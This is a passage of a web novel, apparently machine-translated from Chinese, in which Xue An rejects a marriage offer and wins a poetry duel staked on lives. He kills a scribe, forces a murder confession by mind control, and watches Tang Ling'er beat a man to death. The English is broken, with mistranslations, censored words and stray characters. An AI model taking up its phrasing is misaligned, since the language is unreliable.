    The key is that her pair of pill phoenix eyes are so brilliant that she just stood quietly, giving her an air of no anger and prestige.


    Xue An praised in his heart.


    What a beautiful woman.


    If she was born on the modern earth, she would definitely be a strong woman in the workplace.


    No wonder the original body was so obsessed with it.


    Then he nodded slightly at Tang Ling''er, "Miss Tang!"


    Tang Ling''er felt a little weird.


    Because at the time of the correspondence, this Xue An was not like this.


    At that time, between the lines, he revealed a strong lack of self-confidence, so that he almost flattered himself.


    But waiting for the meeting today, he was so calm and calm, and even made Tang Ling''er have the illusion that he was the humble party.


    What exactly is going on?


    Tang Ling''er was surprised, but she, who had been tempered by the market, didn''t show the slightest on the surface, just nodded slightly.


    "Master Xue, I''m a little embarrassed to interrupt you to rest!"


    The meaning of these words is difficult to understand, and seems to be ironic.


    At least, Qing''er, who was standing aside, showed a touch of embarrassment.


    Xue An just smiled, "I feel bored after sleeping a lot, just to come out to get some air! And I have been waiting for Miss Tang to come back!"


    Tang Ling''er didn''t think much about it. He invited him to come, so of course he had to wait for him to come back.


    The key now is to pass the level of his father first.


    Before she knew it, Tang Linger began to plan the next move by means of a shopping mall.


    "Young Master Xue, you and I have known each other since childhood, so there is no need to say some polite false statements. I invite you to the capital this time because I want to help you, otherwise you will be trapped at the bottom and you will never come out day!"


    Having said this, Tang Linger took a deep breath, "But now my father already knows of your arrival, he wants to see you in the study!"


    These words came out.


    Qing''er and Chan''er all changed.


    Especially Qing''er, "Master...How could the master know so soon?"


    Tang Ling''er said coldly: "Naturally my aunt said it!"


    Qinger''s face was panicked.


    She is also very aware of the master''s attitude towards the young lady''s marriage, so she knows that this summoning will definitely not be that simple.


    This panic atmosphere also spread to Chan''er who was aside.


    The little girl also changed her face in a trembling voice, "Then...what should I do? How about letting my young master hide first?"


    Qing''er shook her head, "It''s useless, you can''t hide for a while!"


    "And if you really hide, then..."


    Qing''er didn''t say the rest, but the meaning was already obvious.


    If Xue An really avoided seeing him, then his status in Tang Sheng''s mind would be lower, and there would be no possibility of turning over.


    This little maid who had been with Tang Ling''er since she was a child naturally understood how her own miss planned.


    So avoid seeing it, it is absolutely impossible.


    really.


    Seeing Tang Linger''s expression coldly, "Xue Gongzi, you don''t have to be too alarmed. My father saw you only because of the malicious spread of rumors by Yao Yu and others! But..."


    When Tang Ling''er said this, her cheeks were slightly red, "But he will definitely ask about your marriage, and I hope that Master Xue will be able to talk about it again and again!"


    This is already very obvious.


    Tang Linger can''t point to Xue An''s nose and say, you will tell my father directly that you like me!


    That would be too shameful!


    Xue An nodded without a smile, "Okay, then I''ll go take a look!"


    With that said, he went down the steps and said to Chan''er: "Chan''er, wait for me to come back here!"


    "Hmm!" Chan''er didn''t know, but just nodded in reply.


    Then Xue An smiled at Tang Ling''er, "Miss Tang, let''s go!"


    When going to the Houzhai study. Tang Ling''er glanced at Xue An, who was walking slowly, but his thoughts couldn''t calm down.


    Her feelings for Xue An are extremely complicated.


    There is the admiration of childhood, the sympathy of growing up, and even the slightest contempt of the original correspondence.


    These things are mixed together, making Tang Linger''s attitude towards Xue An also very complicated But in these years, Tang Linger has seen countless young talents, but none of them can make her feel tempted.


    until today.


    When she saw the boy who was standing on the steps, whose profile was faintly outlined by sunlight.


    She suddenly understood her heart.


    In any case, even if he is mediocre and incompetent, he still likes him! When the time comes, I will work hard outside and let him wait at home.


    Tang Ling''er secretly made up his mind, but now is another difficulty.


    How to convince your father?


    Thinking of this, Tang Linger gritted his teeth, and then whispered to Xue An: "Master Xue!"


    "Ok?"


    "When the time comes, my father will definitely ask, but now I just want to ask you, you...are you willing to join my Tang family?"

 Chapter 913： I disagree with this matter!

    Xue An looked at Tang Ling''er with a smile, "It''s better to say something clearly in person!"


    Tang Ling''er was taken aback.


    What kind of answer is this?


    Agree or disagree?


    However, Tang Ling''er also understood how difficult it is to get a man to agree to become a father-in-law. After all, in this era, father-in-law has no status.


    Therefore, she planned to explain, so as to dispel Xue An''s concerns.


    But at this time, Xue An raised his eyes and looked into the distance, and then said lightly: "Let''s go! For a while... there are still many things!"


    With that, Xue An strode forward.


    Tang Linger looked at Xue An''s back and bit her silver teeth secretly.


    In any case, when he is in front of his father, he has to speak clearly.


    now.


    In the main study room.


    Yao Yu and Yao Chaofeng were drinking tea with Tang Sheng who was still angry.


    Accompanying him were several patrons in the Tang Mansion.


    These people are basically down-and-out literati with hopeless fame, but because they are good at meeting and speculating, they are highly regarded by the arty Tang Sheng.


    Of course, these people have already been bought by Yao Yu and Yao Chaofeng''s mother and son, so the words are all praises to Yao Chaofeng''s talents.


    This made Yao Chaofeng smug in his heart.


    Xue An.


    The right time, the right place and the people are all with me, I see how you fight with me.


    At this moment.


    Just listen to the salutes of the servants and maids coming from outside the door.


    "Miss!"


    Then the door of the study was opened.


    Tang Linger and Xue Anlian walked in.


    The simultaneous appearance of these two made everyone in the study a slight commotion.


    Tang Sheng snorted angrily without making a fight.


    And Yao Chaofeng, who was originally proud, was still stagnant at the moment, his eyelids throbbing frantically.


    Because he found that Tang Ling''er, who had never lied to himself, smiled cleverly when facing Xue An, and she seemed to be a little daughter-in-law.


    And when the two stood together, they were almost like a pair of biren, and they were very good match.


    How can this not make him jealous and crazy.


    Only Yao Yu saw the opportunity and hurriedly said: "Hey, this must be the old man Xue! Hey, he is really a talent!"


    But her words of praise sounded extremely weird on this occasion.


    At least Tang Sheng''s complexion gradually became gloomy.


    "Xue An, you came all the way to the capital and went to my Tang family. What happened?"


    Not waiting for Xue An to speak.


    Tang Ling''er on the side could no longer hold back, and stepped forward and said: "Father! Xue An came because of my invitation!"


    "Huh?" Although Tang Sheng was angry in his heart, he still felt a lot softer towards himself, the jewel in his palm.


    "Ling''er, what the **** is going on?"


    Tang Linger said solemnly: "Father, I think our two families were neighbors at the beginning. Now that the Xue family is in trouble, I can''t bear to see him buried in the grass, so I invited him to the capital."


    Tang Sheng''s complexion eased, as long as it wasn''t because he liked this guy.


    But Tang Ling''er didn''t expect Tang Ling''er to turn around immediately.


    "And..." Tang Ling''er said this, her cheeks reddened, "When I was young, I made an oath to marry Xue An!"


    These words came out.


    The audience was silent.


    After a while, Tang Sheng became angry and slammed the desk in front of him, "Ling''er, do you know what you are talking about?"


    The complexions of Yao Yu and Yao Chaofeng also became extremely ugly.


    Especially Yao Chaofeng, he stared at Xue An, his killing intent was almost overflowing.


    Tang Ling''er nodded, "My father, of course I know what I''m talking about."


    Tang Sheng took a deep breath at this time, trying to calm himself down, and then said: "Ling''er, do you know how far the identity gap between you and him is now?"


    Tang Ling''er nodded again, "I know!"


    "then you����."


    Tang Ling''er looked serious, "Father, I have seriously thought about what you said, but I don''t think all this will be a problem!"


    "Huh?" Tang Sheng looked inexplicable.


    And Tang Ling''er said in a cold tone: "Although the Xue family is now the only one left in him, and he is in despair! As long as he is willing to join my Tang family, then all this will not be a problem!"


    hiss!


    Everyone in the audience took a breath.


    Because it sounds incredible.


    A wealthy daughter is in front of the public, just talking about her marriage, and even let a man come over.


    This picture is almost weird everywhere.


    Tang Sheng was very angry at this time and smiled, "Into the family? Ha ha, good! Then I would like to ask Master Xue, would you like it?"


    At this time, it is full of irony to call Xue An with the word "Young Master"!


    Because according to the custom, the man after the birth is generally called by the man.


    This can also be seen in this era, how low the status of Zuo son-in-law is.


    All eyes converged on Xue An.


    And Tang Ling''er, at this time, also simply gave up, only to see her face with cream.


    "Xue An, I know this decision is too difficult for you, but I can guarantee that you will never be as humble as the son-in-law of other families!"


    Speaking of this, Tang Linger took a deep breath, "I can use all means to help you get fame in the exam. Of course, if you are unwilling or fail to pass the exam, then it��s okay. I can spend money to donate a fame to you, and you All you need to do is to take care of you at home, and I will take care of everything!"


    Hearing these words silly everyone present.


    Especially Tang Sheng.


    His face was blue and red, and he was about to explode in the next moment.


    After all, even if the customs were open again, there would be no such thing as Tang Linger''s talk about his marriage, and he also said that people should be involved.


    This can be laughed off people''s teeth.


    But Yao Chaofeng didn''t think so.


    Both his jealous eyes are bluish now.


    Why can''t such good things fall to me?


    And after Tang Linger finished speaking, she stared at Xue An with serious eyes.


    She felt that she had already made such concessions and had planned everything for the future.


    This Xue An should not have any reason to refuse.


    In this regard, she is quite confident.


    But at this moment Xue An raised his head and glanced at Tang Linger, then glanced around everyone in the audience.


    An inexplicable smile appeared at the corner of his mouth.


    Then he shook his head slightly.


    "I''m sorry, Miss Tang, this matter...I forgive me for not agreeing!"


    what?


    Tang Ling''er was shocked, she couldn''t believe her ears.


    He actually refused?


    And everyone in the audience was even more shocked.


    Even Tang Sheng never expected such an appearance.


    He came all the way, isn''t he just to join my Tang family?


    Why are you suddenly refusing now?


    "Why... why?" Tang Linger asked tremblingly.

 Chapter 914： Because... Im not rare

    "Because... I''m not rare!"


    Do not care?


    Many people looked at each other.


    What kind of explanation is this?


    At this time, Xue An said calmly: "Miss Tang, you are a good girl, but all of what you said, including the so-called Tang family industry, is not worth mentioning to me!"


    Hearing these words, Tang Sheng was first secretly relieved.


    Anyway, as long as he doesn''t agree.


    Then he felt very uncomfortable and looked down upon the Tang family?


    Therefore, he sneered: "Oh? Listening to the tone of Xue Gongzi, it seems that I don''t look at the Tang family in my area at all? Then I don''t know what high ambition Xue Gongzi has?"


    Hearing these words, many people in the room made a low laugh.


    Among them, Yao Chaofeng''s laughter is the most arrogant.


    But in the face of all this, Xue An didn''t even lift his eyelids, but said indifferently: "How can you understand what I want?"


    "Humph!" Tang Sheng snorted disdainfully when he heard the words. He was even more displeased with Xue An, thinking that he was purely an ignorant and arrogant person.


    Tang Linger looked at Xue An blankly.


    She now finally understands what Xue An said just before coming here, it is better to say something in person!


    original!


    So clearly!


    Tang Linger was suddenly full of grievance and sadness.


    She did not understand.


    Obviously, he had arranged everything very appropriately, but he did not agree.


    Can everything be explained in one sentence?


    Tang Linger''s heart is mixed.


    Yao Chaofeng was so happy that he almost jumped from his seat.


    In his opinion, this Xue An is purely a fool.


    What is it not to be an idiot to refuse such good things that others dream of?


    But do you think that alone is enough?


    I want it, but it will ruin you!


    Yao Chaofeng sneered in his heart, and then winked at several doormen in the distance.


    These clerks had already been bought by him, so after seeing Yao Chaofeng''s signal, these sour and rotten literati began to care.


    Then I listened to one of them with a mocking smile: "What a strange man with ambitious ambitions! It''s a pity... just a little bit ignorant!"


    These remarks caused laughter from several people around.


    "Brother Liu is right, there are some people! It''s the stuffy stuff with a hollow belly and a pointed mouth!"


    "Tsk tusk, I have heard that someone has eaten or slept all day since they entered the Tang family. I guess they don''t even understand the average and dare to speak wildly?"


    These words are extremely harsh.


    Tang Linger''s expression changed.


    Although Xue An rejected her.


    But she still didn''t want the sour literati who had all these skills to slander Xue An.


    After all, facing the provocation of these people, if Xue An dare not respond.


    Then his reputation is completely ruined.


    And the reputation of a scholar is ruined, which means that he will never think about making progress in the official career or the literary world in his life.


    This also shows the sinister intentions of these guys.


    Therefore, Tang Linger came up with words to reprimand these people.


    But at this moment.


    Xue An''s eyes were cold, but a smile appeared at the corner of his mouth.


    "Oh? That said, your literary talent must be very good?"


    "I dare not say that it is good, but at least better than some people!" said a middle-aged scribe with a proud face holding a folding fan.


    Xue An nodded, "Well, since you have a good literary talent, are you interested in a match?"


    "Bi? How to compare?" The middle-aged scribe gave Xue An a slanted look, his face full of disdain.


    "How about using poems to discuss winning or losing?" Xue An said lightly.


    Hearing these words, all the scribes and disciples looked surprised.


    Especially the middle-aged scribe, he was taken aback, and then sneered: "You want to compare poetry with me? Are you sure?"


    Xue An nodded and said lightly: "Yes!"


    "Okay, this is what you said, how do you compare?" The middle-aged scribe looked like he was winning.


    In his opinion, this is simply Xue An stretched out his face to make himself fan!


    Although he didn''t have any famous names, he can still draw out his first-hand poetry!


    So he is full of confidence.


    Xue An said at this time: "It''s very simple. Winners take all, and those who lose... take their lives to compensate! How?"


    There was a dead silence in the audience.


    Then there was a low uproar in the crowd.


    Tang Ling''er was even more shocked and inexplicable.


    How can you bet your life than fighting a poem?


    Therefore, she anxiously wanted to persuade Xue An.


    But then Yao Chaofeng said first.


    "Okay, I really am a man, if that''s the case, then it''s settled! How?"


    This middle-aged scribe was hesitated at first, but Yao Chaofeng could see that he had responded for him, so he gritted his teeth and nodded.


    "Okay! That''s what you said!"


    Tang Ling''er looked anxious and whispered: "Xue An, what do you want to do?"


    Xue An smiled at her, "It''s okay, just idle and boring, just teach some guys to be human!"


    "But you..."


    What else did Tang Linger want to say.


    The middle-aged scribe was afraid that Xue An would take the lead, so he jumped out first.


    "But I don''t know what the title is?"


    Xue An said lightly: "Whatever! I can do it!"


    This crazy tone makes many people feel unhappy.


    Especially Tang Sheng.


    He sat behind the desk so much that he wanted to see how Hui Xue An was defeated.


    At this time, Yao Yu pointed at the bright spring light outside the window, "If this is the case, how about spring light?"


    The middle-aged scribe was delighted upon hearing this.


    What he is good at is narrating emotion with scenery, so this proposition is considered to be in his arms.


    Xue An was noncommittal.


    The middle-aged scribe wandered around the house a few times, then suddenly clapped the folding fan in his hand, "Yes!"


    After he finished speaking, he slashed and wrote a poem on the paper.


    After the chanting, the audience was applauded.


    "good words!"


    "After a few months, Brother Liu''s poetry level has improved again. This Wing Chun is fresh and timeless, and it is truly a masterpiece! Congratulations!"


    These praises filled the study room.


    The middle-aged scribe looked smug, then looked at Xue An, "Master Xue, it''s your turn!"


    At this time, Xue An was looking at the little spring light outside the window, and he seemed a little silly for a while.


    "Haha, can''t you write it out?"


    "I really wanted to die by myself!"


    "I knew it was a glamorous straw package!"


    In these cynicism.


    Tang Ling''er looked blankly.


    Because she caught the loneliness in Xue An''s eyes.


    That feeling made her feel empty.


    What has he experienced?


    Why is there such a strong emotion in the eyes?


    Tang Linger was suspicious in her heart.


    I saw Xue An turned his head and smiled slightly there is it! Wait and listen! "


    As he said, Xue An whispered softly.


    "The water is astounding!"


    At the beginning, the faces of these literati were full of disdain, thinking that Xue An would never have written a masterpiece that surpassed the middle-aged scribes.


    But when Xue An said this first sentence.


    The hearts of everyone in the audience trembled, and all the voices disappeared instantly.


    People all quieted down and listened quietly.


    Xue An then chanted: "The mountain is where the peaks of the eyebrows gather. If you want to ask the pedestrians where to go? The place where the eyebrows are full! It is only then to send the spring back, and then send the king back. If you go to Jiangdong to catch the spring, you must live with the spring!"


    Stop talking.


    The audience was silent.


    Everyone was shocked.

 Chapter 915： Winners take all, losers lose their lives!

    "This... how is this possible?" The middle-aged scribe whispered with an incredulous expression on his face.


    Other vincent students were even more shocked.


    Because even a person with no ink in his chest can hear the freshness and cuteness of this little poem.


    What''s more, this bunch of scholars who have studied poetry and songs all their lives.


    In their eyes.


    Xue An''s little poem is light and lively, but there is a trace of loneliness in it.


    It is no longer a question of surpassing the poems of middle-aged scribes in such works that embody emotions in the scenery and at the same time express emotions in the scenery.


    Instead, it directly pushed the Wing Chun words forward.


    It can even be called the first word of Wing Chun in three years.


    This huge gap in strength made this group of people dumbfounded, and they couldn''t even speak.


    Also surprised were Tang Sheng and Tang Ling''er and his daughter.


    Tang Sheng didn''t expect that this down-and-out young man could actually write such a poem.


    But Tang Linger was sad from it.


    Because she understood the phrase.


    As a woman, her mind is naturally much more delicate than others.


    So in her eyes, this is a Wing Chun poem, which is clearly a man''s infatuation with his beloved.


    For example, the first two sentences.


    The water is the eye wave, the mountain is the eyebrow gathering.


    How can you write such shocking words if you don''t like women to a certain extent?


    So far.


    Tang Ling''er finally understood why Xue An had refused.


    But at the same time, she felt a strong dissatisfaction.


    She tried to ask that she was no worse than anyone, so she wanted to know what kind of woman it was that made this Xue An so affectionate.


    The tenacity and self-confidence honed in the shopping mall made her full of enthusiasm.


    She wants to compare!


    Because she doesn''t believe she will lose.


    Just as everyone in the house was silent.


    Yao Chaofeng finally stood up uncontrollably, then stared at Xue An with resentment and jealousy, and said gloomily.


    "The word is really good! But how do I feel that this word is not what you did?"


    "Oh?" Xue An smiled faintly, "Why see?"


    Yao Chaofeng said arrogantly: "Because I happened to buy an ancient book out of print back then, and from this incomplete ancient book, I have seen this small order! It''s just because of the age that the author is no longer That��s all for research! Why did you do it?"


    Yao Chaofeng''s words made many people look at each other, and then secretly shook their heads.


    Even a fool can tell that Yao Chaofeng is talking nonsense.


    Because these poems will never be easily lost.


    If there are any ancient books out of print, wouldn''t Yao Chaofeng should have written this poem long ago?


    But Yao Chaofeng was so prestigious in the Tang family that many people did not dare to say anything.


    Only Tang Ling''er sneered: "Oh? If you say that, Master Yao will take out this ancient book and let me open my eyes, how about?"


    Yao Chaofeng didn''t even blink his eyes. "It''s really unlucky. When I was guarding the year before, this ancient book was dropped into the brazier and burned by me!"


    "You..." Tang Linger was so angry that she wanted to denounce Yao Chaofeng''s shamelessness.


    But at this moment.


    Xue An smiled faintly, "You said I copied?"


    Yao Chaofeng sneered: "You can say so!"


    Xue An smiled.


    Just looking at his smile, Yao Chaofeng felt cold in his heart.


    "Then in the ancient books you read, besides this poem, are there other works?" Xue An asked lightly.


    Yao Chaofeng shook his head, "Naturally gone! Didn''t I say that this ancient book is already incomplete, and many of the handwritings are already incomplete. Only this word can be vaguely identified!"


    Xue An nodded, "Very good! This explanation is perfect!"


    Yao Chaofeng just wanted to say something.


    Xue An waved his hand and said lightly: "I believe everything you say, but what I want to say is... the next word, how do you explain it?"


    Everyone was surprised when they heard this.


    Could it be...


    I saw Xue An take a step and whispered softly: "Don''t come to the spring, your eyes will be soft and your intestines will be broken, the plumes are like snow, and you are still full."


    "The goose''s news is unproven, and Lu Yao''s dream is hard to come by. It''s like spring grass away from hatred, and it''s farther and farther to survive."


    A piece of Qingping music is ready in no time.


    At this moment, everyone took a breath.


    It is another stunning masterpiece that is no less inferior to the one just now.


    The average literati can write a piece of this kind in a lifetime, which is enough joy.


    But this Xue An made two poems in a row in just one cup of tea.


    If this spreads out, it can shock countless people.


    As for the plagiarism Yao Chaofeng just said...


    Naturally it is self-defeating.


    In fact, at this moment, Yao Chaofeng was looking at Xue An with a dull face, the expression on his face was fluctuating, and there was a gurgling noise in his throat.


    He never expected that Xue An could actually come back in this way.


    And Xue An smiled at him, "Now...what else do you say?"


    Yao Chaofeng gradually recovered his sobriety, then let out a cold snort of anger and turned around to leave.


    "Wait!"


    "Huh? What do you want? What can you do for this poem? What I said just now is not fake!" Yao Chaofeng began to play a rogue.


    "That''s not what I meant!" Xue An showed a few white teeth and smiled sensibly.


    "I just want to remind you, I just said that this gambling fight... is a gambling!"


    "You...what do you mean?" Yao Chaofeng''s expression changed drastically.


    Xue Anhao fiddled with his fingers in his spare time, and said lightly: "It''s very simple, as long as you make a poem that surpasses me, then let you go, otherwise...you will lose your life!"


    what?


    Yao Chaofeng couldn''t believe his ears, he couldn''t help but smiled in anger, "Xue An, are you..."


    He was about to say whether Xue An''s head was broken, or how dare to say such a thing.


    But he hasn''t waited for him to speak.


    Xue An waved casually.


    A ray of sword light flew by.


    The throat of the middle-aged scribe standing aside was cut directly ~ www.novelhall.com ~ blood spurted out.


    The middle-aged scribe did not expect that Xue An would really dare to start, so he covered his throat tightly with his hands, stared at Xue An with extremely scared eyes, and then the dead body slowly fell to the ground.


    This time.


    Everyone was shocked.


    And Xue An smiled faintly at Yao Chaofeng, who was pale, "He just lost, so he died! Now... it''s your turn!"


    Yao Chaofeng was shocked all over his body, and finally awoke from the shock.


    "You...you...you dare to kill?"


    Xue An said calmly: "Why dare you? Because I said just now, if I lose, I lose my life! Now I give you ten counts, and if you can''t do it when it expires, then... your head will follow you. Say goodbye to your body!"


    "So... please cherish your time!"

 Chapter 916： Goodbye, each cherish

    Yao Chaofeng was so frightened that he fought with two legs, and shouted in horror: "Uncle, help me!"


    Tang Sheng was also taken aback.


    He also didn''t expect Xue An to dare to kill people in front of so many people.


    So when he heard Yao Chaofeng''s call for help, he shouted angrily.


    "Xue An, you are so courageous, you have just shot a murderer in a crowd, arrest him for me!"


    Naturally, the Tang family also had a Dinghuyuan, and these people rushed forward to catch Xue An.


    Xue An didn''t even move, just stomped his feet, and all the families who rushed up were shaken out.


    Then Xue An smiled at Yao Chaofeng and stretched out a finger.


    "One!"


    "No!" Yao Chaofeng was completely panicked.


    Because Xue An''s eyes are simply terrifying now.


    The kind of eyes that ignore life and death and overlook all living beings.


    Compared with this, the ruthless people Yao Chaofeng had been in contact with were simply good babies.


    "two!"


    Xue quietly counted.


    Yao Chaofeng turned around and ran out of the door.


    But when his hand was just about to touch the door.


    Xue An didn''t know when he had appeared before him, and said lightly: "Eight!"


    Yao Chaofeng was taken aback for a moment, then hissed sharply, "Didn''t you just count two?"


    Xue An smiled slightly, "I forgot to tell you, if you want to escape, then I will shout as much as I want!"


    "Now, you have two chances left! If I were you, I would write a word now!"


    Yao Chaofeng was desperate, "Xue An, I admit it, please let me go! I will never go against you again!"


    Xue An was not moved at all, "Nine!"


    "Xue An, what do you want? Don''t you dare to kill my Feng''er?" Yao Yu roared and rushed forward.


    In this era, although the status of women is very low, Yao Yu, as Tang Sheng''s nominal chief, still has a great status.


    But now that she rushed up like this, she was sure that Xue An should not dare to deal with herself.


    After all, no matter what happens to a man, he will not deal with a woman?


    But she was wrong this time.


    Just a few steps away, Xue An raised his hand and slapped the face, and directly lifted Yao Yu''s fan off the ground. After turning in the air for a few times, he could not touch the ground before fainting.


    This slap was like a shock.


    The people in the study were all shocked.


    Tang Sheng''s face turned blue, and he was trembling with anger, "Xue An, you..."


    Xue An said lightly: "Don''t thank me, I should!"


    With that, Xue An turned to look at Yao Chaofeng, and said lightly: "I''m sorry, the time is up, are you ready?"


    Yao Chaofeng trembled all over and knelt on the ground without hesitation, "Xue An, I was wrong, please forgive me! I was really wrong!"


    As he said, he banged his head bang.


    Xue An was not moved at all, but looked at him quietly, then turned his head and smiled at Tang Ling''er who was sluggish.


    "There is one thing I forgot to tell you, your biological mother, it should be these two people who conspired to kill you!"


    "What?" Tang Ling''er exclaimed in exclamation.


    Tang Sheng even stood up and stared at Xue An, "What did you say?"


    Xue An had a slight smile on his face, "You can ask him about this!"


    Xue An pointed to Yao Chaofeng, who was trembling on the ground.


    Yao Chaofeng trembled all over, his face pale.


    Because he really didn''t understand, how did Xue An know about such a secret thing!


    Tang Ling''er''s thoughts changed at this time, and everything in the past few years turned to his heart.


    Especially when Yao Yu married into the Tang family, his mother''s condition began to deteriorate rapidly and eventually died.


    At that time, she was still young, but she felt that her mother was dying too soon.


    But I never thought about whether there is any strangeness.


    When Xue An mentioned this incident today, she suddenly realized that there were many doubts in it.


    So she couldn''t help but say coldly: "Yao Chaofeng, what''s going on? You can tell me clearly!"


    Yao Chaofeng also wanted to deny it.


    Xue An''s eyes moved slightly.


    Yao Chaofeng felt his whole body tremble slightly, and then his mouth seemed to be out of control, as if pouring beans from a bamboo tube, telling the story all over.


    He even talked about the fact that he and Yao Yu are really a mother and son.


    As for the dead middle-aged scribe, he played a role in the murder of Tang Linger''s mother.


    So far.


    The truth is completely revealed to the world.


    And after finishing talking.


    Yao Chaofeng trembled, his body regained control.


    But at this time, Tang Ling''er was already furious, reached out and grabbed a large vase from the table on the side, and slammed it on Yao Chaofeng''s head.


    boom!


    The vase shattered.


    Yao Chaofeng''s head was **** in an instant.


    But this is just the beginning.


    Tang Ling''er was so angry that she had lost her reason. Although she was a woman, she had followed Tang Sheng to roam around since she was a child, so she was extremely tough.


    Now that he knows that his mother was murdered by the mother and son, he hates her.


    So she looked around, and at a glance she saw a scribe next to her with a decorative sword on the waist.


    She took a step forward and pulled out directly, and then aimed at Yao Chaofeng and hacked.


    But this sword is not edged at all.


    Therefore, the skin that Yao Chaofeng had chopped up could only be broken.


    despite this.


    Yao Chaofeng still howled in pain.


    "Don''t... I was wrong, Yao Yu asked me to do this! Don''t!"


    Tang Ling''er''s eyes were red, and she ignored Yao Chaofeng''s begging for mercy.


    Instead, he smashed it hard, and every time he smashed it, a splash of blood would splash on his face.


    at last.


    After dozens of hits.


    Yao Chaofeng''s miserable howling gradually fainted, and finally fell to the ground without a sound.


    The audience was silent.


    Everyone looked at Tang Ling''er with horrified eyes.


    at this time.


    One hand lightly patted Tang Ling''er on the shoulder.


    "Well, the man is dead, don''t smash it anymore!"


    Tang Ling''er trembled all over, turned his head to look at Xue An, and gradually regained consciousness in his confused eyes.


    Then she threw down the sword in her hand, fell to her knees, and howled.


    "Xue An...Thank you!" Tang Ling''er said choked up.


    This thanks comes from the bottom of my heart.


    Because if it weren''t for Xue An, she might never know who killed her mother.


    And Tang Sheng, who looked frustrated, also whispered at this moment: "Xue..."


    Xue An waved his hand and said indifferently: "Patriarch Tang, I only wanted to make it clear to Miss Tang in person, but now that I know about it, I can''t ignore it."


    In fact, Xue An felt that something was wrong when he saw Yao Chaofeng. When he learned about the situation later, Xue An discovered many doubts.


    During this period of time, Xue An''s strength had begun to gradually recover by using the Devouring Immortal Jue.


    So he simply spied it with his spiritual mind, and then discovered the truth.


    This is the reason why he outrageously murdered today.


    After hearing what Xue An said, Tang Sheng''s face was ashamed.


    At this time, Xue An took out the letterhead, and at the same time took out a dilapidated sachet and placed it beside Tang Ling''er.


    "Miss Tang, fortunately for the wrong love, but no luck! Let''s pass it by, each cherish it!"


    Having said that, Xue An looked at the audience and smiled slightly and turned away.


    Tang Linger looked at Xue An''s back obsessively, holding the sachet she gave him when she was a child, tears came from her eyes instead.


    And Tang Sheng was even more hesitant and regretful.


    Because Xue An''s current performance has greatly exceeded his expectations.


    Even Tang Sheng, who was accustomed to seeing young talents, was amazed by him, and thought of accepting him as a good son-in-law.


    But now it is too late.


    Tang Sheng could only sit there blankly with regret.


    As for the other people in the study, they looked at each other, and they all saw the shock in each other''s eyes.


    They understand.


    After today''s matter spreads.


    This Xue An''s prestige will surely soar to the sky, becoming the hottest young talent in the city of this day!

 Chapter 917： Changle Weiyang

    "Sister Qing''er, why isn''t the young master coming back?" Chan''er asked worriedly.


    Qing''er was also quite worried, but she still smiled forcefully: "Chan''er, you don''t have to worry so much. Miss went with Brother Xue, so nothing will happen!"


    "Okay!" Chan''er replied somewhat helplessly, and then sat on the threshold, resting her cheeks in her hands, looking out the door as if she wanted to see through.


    Seeing this, Qing''er couldn''t help crying or laughing, "If you sit here, can Brother Xue come back sooner?"


    "But I''m sitting here, and when the young master comes back, I will be the first to see it!" Chan''er said solemnly.


    Qinger just wanted to say something.


    Seeing Chan''er leaping up, she exclaimed excitedly: "It''s Master, Master is back!"


    Qing''er turned around and looked around.


    really!


    Seeing Xue An strode into the courtyard, there was still a smile on his face.


    Qinger''s heart moved slightly.


    It took so long to come back.


    Did things change?


    Thinking in her mind, Qing''er hurriedly smiled and said, "Brother Xue, you are back!"


    Xue An nodded, "Well, I''m back!"


    "Hey, why didn''t the young lady come here?"


    "Girl Tang probably won''t be here for the time being!" Xue An said, turning his head to say to Chan''er.


    "Chan''er, pack things, let''s go!"


    go?


    Qing''er and Chan''er all looked suspicious.


    "Master, why are you walking?" Chan''er asked.


    "Yeah! Brother Xue, did our master say something?" Qing''er also asked quickly.


    Xue An smiled and shook his head, "I didn''t say anything, it''s just that I made the matter clear, so I will leave naturally!"


    Qing''er was even more confused.


    Although Chan''er was a little confused, this simple little girl had always obeyed Xue An''s words, so she nodded obediently, "Okay! I''m going to pack things!"


    With that, he went back to the house to pack his bags.


    Qinger wanted to ask something, but swallowed back, just looking at Xue An with a sad look.


    In any case, this result is the worst.


    A moment''s sight.


    Chan''er came out carrying a small bag.


    "Master, everything is packed!"


    Xue An nodded, "Ms. Qing''er, please bring me a message for Ms. Tang and say we are leaving!"


    After all, Xue An led Chan''er, who was carrying a small bag, and turned away.


    Qing''er stood there for a moment, and then ran up like a awakening from a dream, and sent the two Xue An out of the Tang family gate.


    "Girl Qing''er stay for a walk!" Xue An didn''t turn his head back, and strode away after speaking.


    Qing''er stared at Xue An''s away back, feeling mixed, not knowing what it was like.


    But at this moment.


    A faint sigh came from behind.


    Qinger turned her head to look, and was bluffed.


    "Little... Miss?"


    That''s right.


    Standing behind Qing''er was Tang Ling''er who didn''t know when to appear.


    Tang Ling''er looked pale at the moment and nodded slightly.


    "Qing''er, Xue... Did you say anything when the son left?"


    Qing''er lowered her head sadly, "Brother Xue said he asked me to bring you a word! Say he is gone!"


    Tang Linger''s eyes gradually dimmed when she heard the words, and she slowly clenched her hands, and in the palm of her hand was the sachet that Xue An gave her back.


    "Miss, what''s the matter? Is the master disagreeing? Why did Brother Xue leave so resolutely?" Qinger asked.


    Tang Ling''er smiled bitterly, "Do not agree? No, he does not agree!"


    Qing''er didn''t understand who Tang Ling''er was talking about at first. It was only after a while that she suddenly woke up, and then she turned pale.


    "Miss, do you mean Brother Xue disagrees?"


    Tang Ling''er nodded tiredly, suddenly as if thinking of something, her eyes lit up suddenly, "Qing''er, before he goes far, send a few clever little maids to follow, be sure to know his Where is the resting place!"


    Qinger nodded immediately, "Understood!"


    Qinger went down to prepare.


    Tang Ling''er stood there, shining in a pair of wonderful eyes, whispering softly.


    "Do you want to reject me like this? You underestimated my toughness!"


    Just when the Tang family became restless.


    Xue An led Chan''er and left Yiyangfang.


    When the two stood on the noisy street.


    Chan''er came over.


    "Master, where are we going now?"


    Xue An looked at this huge capital city, and finally stopped at Changle Fang, which was just across the street from Yiyang Fang.


    This Changle Square is located to the west of the East City, and is the first-class bustling place in the entire Tiansheng Kyoto.


    And the reason why it is so prosperous is because here gathers the entire Kyoto, and even the most famous brothel women in the world.


    It can be said that this is the red light district of Tiansheng Kyoto.


    There are few famous prostitutes and romantic figures, all of them gathered here, creating the fame of Shili Fireworks Alley here.


    But in Xue An''s eyes, one can see the familiar breath lingering over the Bliss Square.


    This breath is extremely weak, and it is obvious that people have been gone for a long time.


    This is why Xue An didn''t notice it when he first entered Kyoto.


    But now Xue An''s strength is advancing by leaps and bounds, and he naturally saw it at a glance.


    A smile appeared at the corner of his mouth, then he raised his hand to the other side, and said lightly: "Chan''er!"


